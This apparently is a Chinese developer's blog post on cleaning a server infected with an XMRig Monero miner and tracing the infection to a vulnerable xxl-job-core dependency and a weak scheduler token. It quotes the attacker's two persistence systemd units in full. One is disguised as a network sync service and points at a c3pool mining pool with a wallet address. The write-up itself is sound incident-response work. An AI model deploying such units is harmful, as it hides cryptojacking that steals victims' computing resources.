xxl-job-core 2.4.1以下全部出现漏洞

859 阅读2分钟

背景:

在项目中,使用了xxl-job-core依赖,由于认证 token 不够复杂,导致服务器被注入 xmring 挖矿病毒

排查历史:

1,top 命令,得到占用cpu最高的进程pid,找到对应的执行文件,删除,并杀死进程,一段时间后,该病毒重新注入并执行

2,检查 服务器 中是否 有定时任务,使用 crontab ll 查看,发现并无定时任务

3,发现自启服务中出现一个名为 networkSyn.Service,该服务内容如下:

[Unit] Description=Sync NetWork Service [Service] ExecStart=/tmp/networkSync -o stratum+tcp://auto.c3pool.org:19999 -u 457KQKqFtyg9WtcHQdvok4N6uRZstLmPzFrPv2ewNjHeSRP1MyFFw2zHHjCpm7JoYgMGSpwCwfK9PXXd4nsXQ7Hm9AXofmi -p XJA -l /tmp/.networkSync.txt Restart=always Nice=10 [Install] WantedBy=multi-user.target

另一个自启服务(启动xmring病毒的服务)内容如下:

[Unit] Description=Monero miner service [Service] ExecStart=/root/c3pool/xmrig --config=/root/c3pool/config.json Restart=always Nice=10 CPUWeight=1 [Install] WantedBy=multi-user.target

找到这个两个服务对应的执行文件并删除,同时禁用这两个服务,后续该病毒有出现

4,登录到腾讯云服务器,腾讯云提示 应用漏洞,内容如下:

FasterXML jackson-databind是FasterXML的一个基于JAVA可以将XML和JSON等数据格式与JAVA对象进行转换的库。Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json、xml转换成Java对象。 FasterXML jackson-databind 2.14.0-rc1之前版本存在代码问题漏洞。攻击者利用该漏洞导致资源耗尽

即jackson-databind 2.14.0-rc1之前版本存在漏洞,该依赖存在用服务器正在运行的项目中,尝试将该项目停止运行,xmring病毒不再出现,从而确定病毒来源,尝试将项目中的jackson-databind 版本升级,升级至2.17.2,但是项目在执行一段时间后,病毒又出现,确定病毒是其他依赖漏洞导致

5,最终使用最笨的方法,将项目中pom.xml中的依赖全部检查一遍,去maven仓库中查询,检查是否出现漏洞,可以先确定病毒开始出现的日期,根据git日志大致确定新增的依赖时间,从而确定了xxl-job-core依赖,在2.4.1版本以下全部存在漏洞,后续将该依赖删除,暂时不用xxlJob,经测试,服务器不再感染挖矿病毒,以下是存在漏洞的xxl-job-core依赖列表:

mvnrepository.com/artifact/co…

回顾,一方面xxl调度中心的认证token设定的过于简单,另一方面可能是本身存在漏洞风险